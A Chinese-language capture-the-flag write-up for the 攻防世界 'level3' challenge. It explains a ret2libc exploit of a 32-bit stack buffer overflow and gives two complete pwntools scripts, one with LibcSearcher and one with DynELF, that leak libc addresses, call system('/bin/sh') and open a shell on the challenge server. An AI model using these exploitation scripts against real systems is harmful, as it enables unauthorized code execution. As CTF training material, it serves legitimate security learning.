攻防世界level3

level3

0x00 查看文件信息、保护

攻防世界level3_第1张图片

0x01 静态分析

攻防世界level3_第2张图片
直接就能发现溢出点

0x02 思路

程序无system函数,无"/bin/sh",但是有write()、read(),所以可以利用程序中的write()函数得到write()函数的真实地址,又因为在libc.so中函数的相对位移时固定的,不受ASLR影响,所以可以通过write()函数的真实地址计算出system()函数的真实地址,以及"/bin/sh"的地址。

也可以通过DynELF模块获取system()的真实地址

0x03 利用

此处用两种方法来实现
  1. 利用LibcSearcher
#!usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
from LibcSearcher import *
context.arch = "i386"
context.log_level = "debug"

#p = process("./level3")
p = remote('111.198.29.45','39953')
elf = ELF("./level3")

vuln_addr = 0x0804844b
plt_write = elf.symbols['write']
got_write = elf.got['write']

p.recv()

payload1 = 'a'*140+p32(plt_write)+p32(vuln_addr)+p32(1)+p32(got_write)+p32(4)   #泄露出write()函数的真实地址
p.send(payload1)

write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)               

system_addr = write_addr - (libc.dump('write') - libc.dump('system'))      #计算system()函数真实地址
binsh_addr = write_addr - (libc.dump('write') - libc.dump('str_bin_sh'))     #j计算"/bin/sh"的真实地址

payload2 = 'a'*140 +p32(system_addr) + p32(vuln_addr) + p32(binsh_addr)

p.recv()

p.send(payload2)

p.interactive()

  1. 使用DynELF模块
#!usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
context.arch = "i386"
#context.log_level = "debug"

elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
main_addr = 0x08048484

def leak(address):
        p.recvline()
        payload1 = "a"*0x88+"a"*4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
        p.send(payload1)
        date = p.recv(4)
        print "%#x => %s" % (address,(date or '').encode('hex'))
        return date

p = remote('111.198.29.45','56878')
d = DynELF(leak,elf=ELF('./level3'))    #DynELF模块初始化
system_addr = d.lookup('system','libc')    #获取system()真实地址

bss_addr = 0x0804a024
pppr = 0x8048519

p.recvline()

payload2 = "a"*140 +p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)     #将"/bin/sh"写入到.bss段
payload2 += p32(system_addr) + p32(main_addr) + p32(bss_addr)  #调用system("/bin/sh")

p.send(payload2)
p.sendline("/bin/sh")
p.interactive()

执行结果如下:
攻防世界level3_第3张图片
注:使用DynELF模块的时候,在我的虚拟机上要用root用户去执行,也不知道是什么原因;

你可能感兴趣的:(攻防世界pwn)